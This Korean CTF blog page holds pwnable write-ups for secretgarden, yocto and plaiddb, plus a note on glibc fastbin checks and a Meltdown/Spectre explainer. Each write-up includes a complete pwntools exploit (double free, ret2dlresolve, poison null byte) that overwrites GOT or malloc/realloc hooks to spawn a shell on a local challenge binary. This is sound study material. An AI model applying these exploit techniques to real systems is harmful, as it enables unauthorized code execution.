분류 전체보기

처음에 fastbin double free를 이용해서 got영역을 덮으려고 했으나, chunk size로 적절한 영역을 찾지못해서...

그냥 got영역을 이용해 libc주소를 leak한 다음, malloc_hook을 magic함수 주소로 덮었다.

그런데 알고보니... chunksize로 아래와 같은 부분을 사용할 수 있었다.


0x601ffa:    0x1e28000000000000    0xe168000000000060
0x60200a:    0x0000414141414141    0x2390000000000000

0x601ffa를 0x60 fastbin에 넣어서 사용할 수 있었다.

아니 근데 fastbin size가 아니지않나? 0xe168000000000060인데?

그래서malloc.c파일을 살펴보았다. 그 내용은 아래 url에...

https://xerxes-break.tistory.com/440



exploit은 아래와 같이 할 수 있다.

double free버그로 flower데이터를 2번 할당받아서 원하는 메모리 주소를 leak할 수 있고, 그렇게 leak한 libc주소로 system함수 주소를 구해 다시 double free버그로 free_got를 system함수로 덮어서 쉘을 획득할 수 있다.


#!/usr/bin/env python
from pwn import *

conn = process("./secretgarden")

def raiseflower(length,name,color):
    conn.recvuntil(":")
    conn.sendline("1")
    conn.recvuntil(":")
    conn.sendline(str(length))
    conn.recvuntil(":")
    conn.send(name)
    conn.recvuntil(":")
    conn.sendline(color)

def visit():
    conn.recvuntil(":")
    conn.sendline("2")

def remove(idx):
    conn.recvuntil(":")
    conn.sendline("3")
    conn.recvuntil(":")
    conn.sendline(str(idx))

def clean():
    conn.recvuntil(":")
    conn.sendline("4")

my_exploit = False#True

if(my_exploit):
    conn.recvuntil("Baby Secret Garden")

    raiseflower(0x20, "A"*0x20, "red")
    raiseflower(0x20, "A"*0x20, "blue")

    # double free
    remove(0)
    remove(1)
    remove(0)
    clean()

    raiseflower(0x20, "A"*0x20, "green")
    raiseflower(0x60, "A"*0x60, "leak")

    # exist make 0
    remove(1)

    # leak puts_addr
    payload =  p64(1)
    payload += p64(0x602020)
    raiseflower(0x20, payload, "red")

    visit()
    conn.recvuntil("[1] :")
    puts_addr = u64(conn.recv(6).ljust(8, "\x00"))
    log.info("puts_addr : " + hex(puts_addr))
    
    # double free
    raiseflower(0x60, "A"*0x60, "A") #3
    raiseflower(0x60, "A"*0x60, "B") #4

    remove(3)
    remove(4)
    remove(3)
    clean()

    base_addr = puts_addr - 0x6f690
    one_shot = base_addr + 0x45216
    magic = 0x0400C7B 
    malloc_hook = base_addr +  0x3c4b10 - 11 - 8
    """
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL

    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL

    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL

    """
    log.info("base_addr   : " + hex(base_addr))
    log.info("malloc_hook : " + hex(malloc_hook))
    log.info("one_shot    : " + hex(one_shot))
    log.info("magic       : " + hex(magic))

    raiseflower(0x60, p64(malloc_hook)+"\n", "A") #3
    raiseflower(0x60, "A"*0x60, "B") #4
    raiseflower(0x60, "A"*0x60, "B") #4
    raiseflower(0x60, "A"*3+p64(magic), "B")

else:
    conn.recvuntil("Baby Secret Garden")

    raiseflower(0x20, "A"*0x20, "red")
    raiseflower(0x20, "A"*0x20, "blue")

    # double free
    remove(0)
    remove(1)
    remove(0)
    clean()

    raiseflower(0x20, "A"*0x20, "green")
    raiseflower(0x60, "A"*0x60, "leak")

    # exist make 0
    remove(1)

    # leak puts_addr
    payload =  p64(1)
    payload += p64(0x602020)
    raiseflower(0x20, payload, "red")

    visit()
    conn.recvuntil("[1] :")
    puts_addr = u64(conn.recv(6).ljust(8, "\x00"))
    log.info("puts_addr : " + hex(puts_addr))

    # double free
    raiseflower(0x50, "A"*0x60, "A") #3
    raiseflower(0x50, "A"*0x60, "B") #4

    remove(3)
    remove(4)
    remove(3)
    clean()

    base_addr = puts_addr - 0x6f690
    system_addr = base_addr + 0x45390
    fake_chunk = 0x601ffa
    """
    0x601ffa:    0x1e28000000000000    0xe168000000000060
    0x60200a:    0x0000414141414141    0x2390000000000000
    """


    log.info("base_addr   : " + hex(base_addr))
    log.info("system_addr : " + hex(system_addr))
    log.info("fake_chunk  : " + hex(fake_chunk))

    raiseflower(0x50, p64(fake_chunk)+"\n", "A") #3
    raiseflower(0x50, "/bin/sh\x00"+"\n", "B") #4
    raiseflower(0x50, "A"*0x50, "B") 
    raiseflower(0x50, "A"*6+p64(0)+p64(system_addr), "B")
    
    remove(4)
    """
    conn.recvuntil("Baby Secret Garden")
    magic = 0x400c7b
    fake_chunk = 0x601ffa
    raiseflower(0x50,"da","red")
    raiseflower(0x50,"da","red")
    remove(0)
    remove(1)
    remove(0)
    raiseflower(0x50,p64(fake_chunk),"blue")
    raiseflower(0x50,"da","red")
    raiseflower(0x50,"da","red")
    raiseflower(0x50,"a"*6 + p64(0) + p64(magic) ,"red")
    """

conn.interactive()


'Write-up > CTF _ Write UP' 카테고리의 다른 글

RCTF 2018 Writeup (cpushop / babyre / Misc+)  (0) 2018.05.21
DEFCON CTF Quals 2018 Writeup  (0) 2018.05.14
[WriteUP] Byte Bandits CTF 2018  (0) 2018.04.10
[WriteUp] UIUCTF 2018 Writeup  (0) 2018.04.10

HITCON-Training lab12 sercretgarden 문제를 풀다가 fastbin chunk size check루틴에 의문을 가지게 되어서 알아보게 되었다.

이 문제 exploit시 아래와 같은 영역을 사용하게 된다. 문제는 아래 chunk의 size부분인데. 사이즈가 0xe168000000000060이다.

그런데 malloc(0x50)로 할당시 아래와 같은 영역이 fastbin에 존재한다면 이것을 오류없이 할당할 수 있을까?


0x601ffa:    0x1e28000000000000    0xe168000000000060
0x60200a:    0x0000414141414141    0x2390000000000000


할당할 수 있다가 정답이다. tcache가 trriger되지 않은 상태에서 아래와 같은 영역을 fastbin chunk로 사용하여 double free 버그에서 할당 시 사용할 수 있다. 그런데 사이즈를 보면 fastbin의 사이즈가 아니니까 사이즈에러아닌가?


0x601ffa (size error (0xe168000000000060))


그래서 malloc.c의 소스코드를 살펴보았다. 여기서 3602번째줄 부터 보면 fastchunk size check 루틴이 있다.


malloc(): memory corruption (fast) 오류는 malloc 요청 처리시 fastbin에서 첫 번째 청크를 제거할 때, 첫번재 청크의 크기가 fastbin 청크 범위에 속하지 않으면 발생한다.

https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/security_checks.html


  unsigned int idx;                 /* associated bin index */
          if (__glibc_likely (victim != NULL))
            {
              size_t victim_idx = fastbin_index (chunksize (victim));
              if (__builtin_expect (victim_idx != idx, 0))
                malloc_printerr ("malloc(): memory corruption (fast)");
              check_remalloced_chunk (av, victim, nb);


이 첫번째 victim청크의 fastbin_index를 구하여 해당 fastbin의 index가 맞는지 확인을 하게 되는데, 이 fastbin_index 매크로는 아래와 같다.


((((unsigned int) ((((victim)->mchunk_size) & ~((0x1 | 0x2 | 0x4))))) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)


즉, 사이즈가 unsigned int이다. 이 말은 즉 fastchunk size check에는 4byte만 사용된다는 것이고 0xe1ffffff00000060같은 값도 check를 통과한다는 것이다.


정말 그런지 확인해보기 위해 peda를 사용해 디버깅해보았다.


gdb-peda$ $ set *(0x601ffa+12)=0xe122ffff
gdb-peda$ $ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x601ffa (size error (0xe122ffff00000060)) --> 0xeee000007ffff7ff (invaild memory)
(0x70)     fastbin[5]: 0x6040d0 --> 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x604290 (size : 0x1fd70) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
gdb-peda$ $ c


위와 같이 0x60에 해당되는 fastbin의 첫번째 청크 크기를 0xe122ffff00000060로 바꾸고 할당을 시켜보았다.


gdb-peda$ $ x/4gx 0x601ffa
0x601ffa:    0x1e28000000000000    0xe122ffff00000060
0x60200a:    0x4141414141414141    0x14f000007ffff70a
gdb-peda$ $ 

오... 잘되는 것을 알 수 있다. 이걸 몰라서 항상 어렵게 익스를 구성했엇는데, 이러면 tcache가 비활성화된 libc에서 double free bug를 이용할 때 조금 더 편하게 익스를 짤 수 있을 것같다.

[CODEGATE 2015] yocto (RTDL)

2019. 7. 13. 00:24

codegate의 rtdl 문제


이 포맷을 사용해서 계속해서 풀어나가면 될 것 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
 
elf = ELF('./yocto')
 
# get section address
dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
relplt     = elf.get_section_by_name('.rel.plt').header['sh_addr']
plt_addr    = elf.get_section_by_name('.plt').header['sh_addr']
bss        = elf.get_section_by_name('.bss').header['sh_addr']
read_got = elf.got['read']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(dynsym)   + "  (SYMTAB)")
log.info('.dynstr  : ' + hex(dynstr)   + "  (STRTAB)")
log.info('.rel.plt : ' + hex(relplt)   + "  (JMPREL)")
log.info('.plt     : ' + hex(plt_addr) + "  (jmp _dl_runtime_resolve)")
log.info('.bss     : ' + hex(bss))
log.info('read_got : ' + hex(read_got))
 
stack_size = 0x300
glob = 0x80495C0
base_stage = bss + stack_size
base_stage = glob
 
fake_reloc  = base_stage + 24 + 12
fake_sym    = fake_reloc + 8    # base_stage + 28
fake_symstr = fake_sym + 16     # "system\x00" address offset
fake_cmd    = fake_symstr +7    # "/bin/sh\x00" address 
  
fake_reloc_offset = fake_reloc - relplt
# this value should be able to divide by 16.
fake_r_info       = ((fake_sym - dynsym) * 16& ~0xFF    #FAKE ELF32_R_SYM, index offset(16 byte index) 
fake_r_info       = fake_r_info | 0x7                     #FAKE ELF32_R_TYPE
# this value should be able to divide by 16.
systemName_index      = fake_symstr - dynstr    # system_name addr - STRTAB(dynstr)
 
log.info('')
log.info('Fake Struct Information')
log.info('fake_reloc_offset : ' + hex(fake_reloc_offset))
log.info('fake_cmd   : ' + hex(fake_cmd))
log.info('read_got   : ' + hex(read_got))
log.info('fake_r_info   : ' + hex(fake_r_info))
log.info('systemName_index   : ' + hex(systemName_index))
 
#_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
payload  = "."
payload += str(fake_reloc_offset)  # fake_rel - JMPREL
payload += "."
payload += str(plt_addr)           # jmp _dl_runtime_resolve
payload += ";sh;"
payload += "A"*(32 - len(payload))
#Argument of the function
payload += p32(fake_cmd)    # this payload is not use this
#Fake Elf32_Rel
payload += p32(read_got)    # fisrt 4byte : call function got (any function got)
payload += p32(fake_r_info) # 1byte relocation type and 3byte FAKE ELF32_R_SYM index offset
#Fake Elf32_Sym
payload += p32(systemName_index)    # elf32_sym(dynstr) index : system_name addr - STRTAB(dynstr)
payload += p32(0)               
payload += p32(0)
payload += p8(0)        
payload += p8(0)        # this value must be 0
payload += p16(0x12)
#String "system"
payload += 'system\x00'
#String "/bin/sh"
payload += '/bin/sh\x00'
 
conn = process("./yocto")
log.info("payload len : " + hex(len(payload)))
conn.sendline(payload)
 
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11
[DEFCON 2019 Quals] speedrun  (0) 2019.05.14
[Codegate 2019] aeiou Write-up  (0) 2019.02.09

[PlaidCTF 2015] plaiddb writeup

2019. 7. 11. 21:24


3일간에 걸려 푼 문제다.

익스가 매번 성공하는 것은 아니고 가끔 실패하는데 이유는 모르겠다.


poison null byte 공부하는데 도움이 된 것 같기도 하고 아닌 것같기도...

문제 자체가 조금 어렵다.


일단 익스는 아래와 같이 진행하였다.

1단계

1. chunk들을 잘 조절하여 poison_null_byte를 trigger한다.

2. 위 방법을 통해 db청크하나를 오버랩시키고, db청크의 data_size부분을 top chunk의 size로 오버랩시킨다.

3. 위를 통해서 db청크를 GET을 통해 검색하게되면 0x20000정도의 memory를 write로 뿌려주게 된다.

4. heap과 libc를 leak 한다.


2단계.

1. 0x71정도 사이즈의 chunk를 free하고 청크조작을 통해 fd를 realloc_hook-0x13의 주소로 덮는다.

2. realloc_hook을 system함수주소로 덮는다.

3. GET을 통해서 "/bin/sh\x00\x00 ... \x00"을 통해서 realloc을 트리거한다.

4. 쉘을 획득


처음에는 malloc_hook을 oneshot가젯으로 덮어 malloc 호출로 쉘을 따려고 했으나, 모든 원샷가젯이 작동하지않았다.

아마 rsp+a가 NULL이 아니라서 인것같은데... 뭘 어떻게 해줄수가 없어서 대신 realloc_hook을 덮어 realloc 호출 유도로 system함수 실행을 통해 쉘을 획득하는 방식으로 바꾸었다.


중간에 청크 조작때문에 서로가 서로를 덮는 상황이 발생하는데, 이 때 쓰기 불가능한 영역을 덮게 되어 error가 나는 경우가 있으니, leak한 쓰기 가능한 영역을 적절히 잘덮어써주면 error를 회피할 수 있다. 

또 이게 익스가 매번 되는게 아니라, 가끔 실패하는데 이유는 정확히 모르겠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python
from pwn import *
 
conn = process("./datastore.elf")
 
def get(key):
    conn.sendlineafter("command:""GET")
    conn.sendlineafter("key:", key)
 
def put(key, size, data):
    conn.sendlineafter("command:""PUT")
    conn.sendlineafter("key:", key)
    conn.sendlineafter("size:"str(size))
    conn.sendafter("data:", data)
 
def dump():
    conn.sendlineafter("command:""DUMP")
 
def delete(key):
    conn.sendlineafter("command:""DEL")
    conn.sendlineafter("key:", key)
    
def exit():
    conn.sendlineafter("command:""EXIT")
 
 
put("A"0x100"1"*0x100)
delete("th3fl4g")
put("B"0x200"2"*(0x200-0x10)+p64(0x200)+p64(0))
delete("A")
put("C"0x110"3"*0x110)
 
# setting poison_null_byte
delete("B")
put("D"0x50"4"*0x50)
get("A"*0x18)   # off-by-one, poison_null_byte
 
put(""0x80"5"*0x80)   # b1
put("b2"0x40"6"*0x40# overlap chunk
 
delete("")
 
# consolidate
delete("C")
 
 
# remove fastbins and raise the heap address.
put("BBBB"0x8"D"*0x8)
put("CCCC"0x8"D"*0x8)
put("EEEE"0x8"D"*0x8)
 
payload = "A"*0xa0
put("Attack"len(payload), payload)
 
 
get("b2"# b2 chunk size overwrite top chunk size
"""
A  start --------------------------------
                             b_header
b2 start --------------------------------
            key_ptr     |  data_size & top chunksize
            data_ptr    |  
A  end   -------------------------------- top chunksize
                              prev_db
b2 end   --------------------------------
"""
 
"""
$ DUMP
INFO: Dumping all rows.
INFO: Row [Attack], 160 bytes
INFO: Row [BBBB], 8 bytes
INFO: Row [CCCC], 8 bytes
INFO: Row [D], 80 bytes
INFO: Row [EEEE], 8 bytes
INFO: Row [\xb0\x82uUUU], 134481 bytes  << 0x20d51 topchunk size
PROMPT: Enter command:
"""
 
# leak address
conn.recvuntil(" bytes]:")
conn.recvuntil("BBBB")
conn.recv(4)
 
libc_base = u64(conn.recv(8)) - 0x3c4b78
log.info("libc_base : " + hex(libc_base))
 
conn.recvuntil("2"*8)
conn.recv(8)
heap_addr = u64(conn.recv(8)) - 0x3a0
log.info("heap_addr : " + hex(heap_addr))
 
# make fake_chunk b2
fake_chunk  = p64(u16('b2')) + p64(0x41)
fake_chunk += p64(heap_addr + 0x50)
fake_chunk += p64(0x20d71)
fake_chunk += p64(heap_addr + 0x2f0+ p64(0)
fake_chunk += p64(0+ p64(0)
fake_chunk += p64(0+ p64(0x71)
 
get(fake_chunk)
get("A"*0x30)
 
delete("b2")
 
 
# target address
realloc_hook = libc_base + 0x3c4b10 - 0x13 - 0x10
system_addr  = libc_base + 0x45390
 
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
 
# fastbin link control
payload  = p64(heap_addr+0x20)*8        ## avoid error
payload += p64(0+ p64(0x71)
payload += p64(realloc_hook) + p64(0)
payload += "A"*0x10
put("A"*0x400x70, payload)
 
put("AAAS"0x68, p64(heap_addr)*13)
 
 
payload = "A"*3
payload += p64(libc_base + 0x85e20)     ## avoid error
payload += p64(system_addr)  # realloc_hook
payload += p64(0)            # malloc_hook
payload += p64(heap_addr+0x40)*9
payload += "A"*5
 
put("BBBS"0x68, payload)
get("/bin/sh" + "\x00"*0x20)
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[DEFCON 2019 Quals] speedrun  (0) 2019.05.14
[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30

python3 pyjail

2019. 7. 8. 19:48

ubuntu 18.04 glibc 2.27에는 tcache를 사용하고 이 환경에서는 크기가 0x420 이상 청크를 free하면 그 청크는 unsorted bin에 들어가 fd/bk에 main_arena 포인터가 놓인다. 

그러므로 이 주소를 leak하면 된다.

pwnable exploit을 하다보면 "/bin/sh" 문자열을 임의의 메모리영역에 쓰고 이를 가져다 쓸 필요가 있다.

그런데 여건이 충분치않을 경우 "/bin/sh"를 쓰지못한상태에서 exploit을 해야하는데, 이 때 사용할 수 있는 것이 .dynstr이라는 영역이다.

이 영역에는 함수이름의 문자열이 들어간다. 즉 puts, printf, fflush 등이 이곳에 들어가 있기때문에 fflush의 sh를 가져와 사용할 수 있는 것이다.

system("sh")만으로도 쉘을 획득할 수 있다.



Plaid CTF 2019에 Spectre라는 666점짜리 pwn문제가 있었는데, Spectre를 자세히 몰라 건드려보지도 못했었다. 그러다 최근 Meltdown이랑 Spectre을 공부할 기회가 생겨서 공부한 내용을 정리하여 포스팅하게 되었다. 기회가 된다면 pctf에 나왔던 Spectre라는 문제도 한번 건드려볼 생각이다.


멜트다운과 스펙터(Meltdown and Spectre)

최신 CPU에서 사용하는 최적화 기법인 비순차적 실행(out-of-order execution)과 추측 실행(speculative execution)를 악용한 매우 심각한 보안 취약점

실행중인 다른 프로그램 또는 시스템에 저장된 저장된 비밀정보를 얻을 수 있다. 저장된 암호, 개인사진, 전자메일, 인스턴트 메시지 및 업무에 중요한 문서까지 포함될 수 있다.

둘 다 정보유출공격 으로 읽기만 가능하고 원격코드 실행은 불가능하다.

  1. 멜트다운은 Intel CPU에서 유저레벨과 커널레벨 간 발생하는 취약점 ⇒ 사용자 공간에서 운영체제 권한 영역을 훔쳐본다.
  2. 스펙터는 모든 CPU에서 에플리케이션 간 발생하는 취약점 ⇒ 한 프로그램이 다른 프로그램의 메모리를 훔쳐본다.

멜트다운(Meltdown)


  • CVE-2017-5754 (rogue data cache load, 불량 데이터캐시 적재)
  • 인텔 CPU의 보안 결함을 이용해 CPU가 처리하고 있는 프로세스의 데이터를 낱낱이 훔쳐볼 수 있는 버그. (커널 메모리 읽기)
  • 인텔 CPU와 ARM Cortex-A 시리즈 기종에서만 있는 것으로 확인됬다. AMD 계열은 해당되지 않았으나, 2018년 말에 새로 발견된 변종 Meltdown인 Meltdown-BR (Bounds Check Bypass)가 있다. 그러나 기존 Meltdown과 다르게 매우 취약하진않다. (이건 뭐 찾아
  • 1995년 이후 출시된 모든 인텔 CPU에서 해당된다.(사실상 거의 모두)
  • 비순차적 명령어 처리(Out of oder exceution)와 추측 실행(speculative execution)에 의해서 발생한다.

추측실행(speculative execution)

성능을 위해서 다음 실행될 명령어 예측하여 먼저 실행하는 기법

if (x > 10)    
	y = 3

위의 조건문에서 x > 10을 판단하기 위해서 x 값을 읽어오는데, 시간이 걸린다. 이 때 CPU를 대기시키는 것 보단 미리 y=3을 실행해둔다. 만약, 예측을 잘못한 경우 y =3의 실행결과는 폐기하고 y=3이 실행되지 않은 것처럼 된다. 예측이 맞았다면 그대로 실행하여 성능이 좋아진다.


비순차실행**(Out Of Order Execution , OOOE)**

성능을 위해서 순서상 뒤에 있는 명령어를 앞당겨서 실행하는 기법

CPU가 프로그램을 실행할 때, 프로그램의 명령어들을 순서대로 실행한다. 그런데 순서상 앞에 있는 명령어를 실행하는데 시간이 오래 걸리는 경우, CPU가 노는 시간이 생길 수 있다.

#1 A = B + C
#2 D = A + C
#3 G = E + F

예를 들어, 순서상 앞에 있는 명령어의 연산을 실행하기 위해서 필요한 값을 어딘가에서 읽어와야 하는 경우 그 값을 읽어 오는데 시간이 걸려 CPU가 대기하게 된다. 이런 경우에는 앞의 연산결과와 상관없는 뒤의 명령어를 먼저 실행함으로써 CPU의 유휴시간을 최소화할 수 있다.

위 코드에서 #1, #2와 상관없는 #3를 먼저 실행함으로써 CPU를 최대한 활용하는 것이다.


Rogue data cache load, 불량 데이터캐시 적재

CVE-2017-5754

비순차실행의 취약점을 이용하여 읽을 권한이 없는 메모리 영역을 읽어내는 공격법이다. 이 공격은 유저 프로세스에 할당된 메모리 공간에도 커널영역이 매핑되어 있다는 점을 악용한다.

#1 raise_exception();
#2 // the line below is never reached
#3 access(probe_array[data * 4096]);

A. meltdown을 잘 설명해주는 코드1 https://meltdownattack.com/meltdown.pdf

  1. 프로그램 실행시 먼저 #1의 raise_exception() 함수가 실행된다.

  2. raise_exception() 함수는 예외(exception)를 발생시켜 프로그램은 종료된다. (여기서는 권한없이 Kernel 메모리에 접근하여서)

  3. 여기서 일반적으로 #3은 실행되지않는다. 그러나 실제로는 비순차실행 에 의해 #3이 #1보다 먼저 실행될 수 있다.

#1  ; rcx= kernel address
#2  ; rbx= probe array
#3  retry;
#4  mov al, byte [rcx]
#5  shl rax, 0xc
#6  jz retry
#7  mov rbx, qword [rbx + rax]

B. meltdown을 잘 설명해주는 코드2 https://meltdownattack.com/meltdown.pdf

그럼 이제 해커가 어떻게 Kernel의 메모리값을 유출하는지 알아보자.

  1. 먼저 해커가 캐시에 있는 값을 모두 날려준다. (또는 상관없는 값으로 채워준다.)
  2. 그리고 #4가 실행된다. 이는 커널 메모리 영역(byte[rcx])에 대한 읽기이므로 exception이 발생한다. 그러나 exception이 발생하기전에 비순차실행에 의해 #4의 메모리 읽기는 이미 수행되고, #5~#7까지 수행된다. (또한 추측실행도 적용되어 다른 #4가 실행될 때 #5~#7도 파이프라인에서 실행되고 있다.)
  3. #7이 수행되면 probe array[커널값(rax) * 4096]이 rbx에 load된다.
  4. 이제 해커는 Cache Side Channel Attack(또는 Cache Timing Attack)라 불리는 Flush+Reload기법을 이용해 커널값을 알아낼 수 있다.

( 3번에서4096을 곱해주는 이유는 페이지크기가 4KB이기 때문에, 4번의 공격에서 인접한 캐시에서 값을 가져오는 것을 방지하기 위해서이다.)


Flush+Reload기법

Cache Side Channel Attack 또는 Cache Timing Attack

이제 위 공격에서 어떻게 커널에 있는 값을 알아낼 것인가? 하는 부분이다. 먼저 캐시에 대한 선행지식이 필요하다.

캐시 메모리는 CPU안의 작고 빠른 메모리 이다. CPU가 메인 메모리에서 데이터를 읽거나 쓸때마다 해당 데이터는 캐쉬 메모리 안에 임시로 저장된다. 모든 메모리 데이터의 접근 순서는 다음과 같다.

  • CPU는 캐시 메모리에서 데이터를 먼저 찾는다. 데이터가 있다면 메인 메모리에 접근하지 않는다.
  • 캐시 메모리에 데이터가 없으면 메인 메모리에서 데이터를 가져온다.
  • 캐시 메모리가 메인 메모리보다 접근이 빠르다.

현재 위 공격을 수행하고 난 시점에서 캐시에는 probe array[커널값(rax) * 4096] 만 올라가있는 상태이다. 즉 캐시에는 rax에 해당되는 페이지만 올라가있는 것이다.

access(probe_array[data * 4096]);

그렇다면 이제 probe_array의 0~255까지 모든 페이지를 랜덤하게 읽어오는 작업을 수행한다. 그리고 그 속도를 측정해보면 유난히 한 페이지만 불러오는 속도가 빠르고, 이 페이지번호가 바로 커널값(rax) 라는 것을 알 수 있다.

0~255 번째 페이지를 모두 Load했을 때의 Access 속도를 나타낸 그래프 https://meltdownattack.com/meltdown.pdf


Page Table

  • Page Table은 Virtual Address를 Physical Address로 변환하는데 사용
  • Kernel과 User Process들 각각 page table을 가지고 있다.

해결방법 / 현재 패치들

멜트다운은 이론 상 문제가 되는 비순차적 명령어 처리 기술이 적용된 모든 인텔 CPU에서 발생할 수 있다. 이는 커널 모드와 유저 모드를 구별하지 않도록 설계된 것이 발생 원인이다.

  • 인텔은 아마존웹서비스(AWS), 마이크로소프트(MS), 구글, 레드햇 등과 협력해 멜트다운을 해결할 수 있는 패치를 개발

    • 비순차적 명령어 처리 기술을 비활성화하는 패치
    • 비활성화에 따라 CPU의 성능이 저하되는 문제가 발생(최대 30%까지 저하)
  • KPTI(Kernel Page-Table Isolate)패치 = 커널페이지 테이블 격리 패치

    • 커널에서 사용하는 메모리 영역과 일반 프로그램이 사용하는 메모리 영역을 운영체제 차원에서 격리하여 사용하도록 커널 패치
    • KPTI를 사용하지 않던 기존에는 유저 프로세스가 사용하는 Page Table에도 Kernel Address가 매핑되어있어 인터럽트를 받으면 바로 해당되는 데이터를 꺼내 쓸 수 있기 때문에 부하(overhead)를 줄일 수 있다는 장점이 있었는데, 이를 분리하면서 유저 프로그램과 커널 간의 컨텍스트 전환에 더 많은 자원이 소모되어 성능에 영향을 미치게 되었다.

스펙터 (Spectre)


  • CVE-2017-5753
  • CVE-2017-5715
  • 한 유저 프로그램이 다른 유저 프로그램 메모리를 훔쳐보는 취약점
  • 분기 예측을 적용한 최근 마이크로프로세서가 모두 영향권
  • 멜트다운과 달리 x86과 ARM 아키텍처에 전부 적용된다.
  • 멜트다운보다 덜 치명적이고 구현하기 어렵지만 막기도 어렵다.

분기예측(Branch Prediction) 기능에서 발생한 문제 CVE-2017-5753('bounds check bypass' 경계검사 우회) CVE-2017-5715('branch target injection' 분기표적 주입)


분기 예측(Branch prediction)

성능 최적화를 위해서 분기 위치 예측하는 기법

원래는 분기문이 나올 때마다 분기 조건의 값을 확인하여 다음에 실행할 명령어의 위치 (분기 위치, Branch Target)를 계산하고 그 곳으로 이동한다. 분기 예측 방식에서는 각 분기문 별로 분기할 위치를 미리 예측하여 BTB(Branch Target Buffer)라는 곳에 저장해둔다. 그리고 분기문을 실행할 때 추측실행 이 가능한 경우에는 저장되어 있던 예측된 위치를 BTB에서 가져와 실행한다.

추측실행 과 상관없이 정확한 분기 위치는 매번 계산되므로 만약 추측실행이 잘못된 경우에는 실행결과는 폐기된다.

분기 위치의 예측은 직전에 그 분기문이 실행될 때의 분기 위치를 참고해서 그대로 정하는 경우가 많다. ⇒ 지난 분기에서 여기로 분기했으니 이번에도 같은 것이다.


Bound Check Bypass, 경계검사 우회

CVE-2017-5753

추측실행 기법 의 취약점으로 배열(array)범위를 벗어난 값을 읽어내는 기법이다.

#1  if (x < array1_size)
#2      y = array2[array1[x] * 256];

추측실행 에 의해서 #2가 #1이 조건을 검사하기전에 실행될 수 있다. x의 값이 array1 배열의 범위를 넘어가는 값으로 조작되어 있어도 추측실행이 되어 그 값이 읽혀진다.


Branch Target Injection, 분기표적 주입

CVE-2017-5715

이 공격은 추측실행 의 한 가지 유형이라고 할 수 있는 분기 예측(Branch prediction) 을 이용한다. 분기 예측 에서는 분기문을 만났을 때 다음으로 이동할 분기 위치를 계산하기 전에 예측된 위치를 사용하는데, 해커가 분기 위치의 예측과정을 조작하여 해커가 원하는 위치로 분기하도록 만들수 있다.

  • 해커의 프로세스가 공격 코드가 있는 위치로 분기를 반복하면, 분기 예측 버퍼(BTB)에 그 위치가 들어가게 된다. 분기 예측 버퍼(BTB)는 여러 프로세스가 공유할 수 있기 때문에 희생자 프로세스가 분기문을 실행할 때 해커 프로세스에 의해서 BTB에 들어 있는 위치로 분기하게 된다.

스펙터(Spectre) 공격

#1  if (x < array1_size)
#2      y = array2[array1[x] * 256];
  1. #1의 조건이 참이 되도록 x를 설정하여 코드를 여러번 반복시켜 분기예측버퍼(BTB)에 조건문이 참인 위치를 넣는다. (Branch Target Injection)
  2. array1가 타겟 프로그램의 메모리 영역을 향하도록 x값을 설정한다. (Bound Check Bypass)
  3. #1의 조건이 거짓이지만 분기예측 에 의해 #2가 실행된다.
  4. 3번에서 명령실행 결과 array1의 값이 캐시에 올라간다.
  5. Flush+Reload기법을 이용해 타겟 프로그램의 메모리값을 추출한다.

스펙터 공격의 어려움

  • 기본적으로 공격이 되는 대상 프로그램에서 문제가 존재하는 코드의 추측 실행이 되어야 하기 때문에, 실제 버그를 이용해 공격하려면 공격하려는 대상 프로그램을 세세하게 분석해야 된다.
  • 프로그램이 돌아가는 CPU 아키텍쳐나 운영체제에 대해서도 자세히 알아야된다. 그래서 실제로는 취약점을 공격하긴 매우 어렵다.

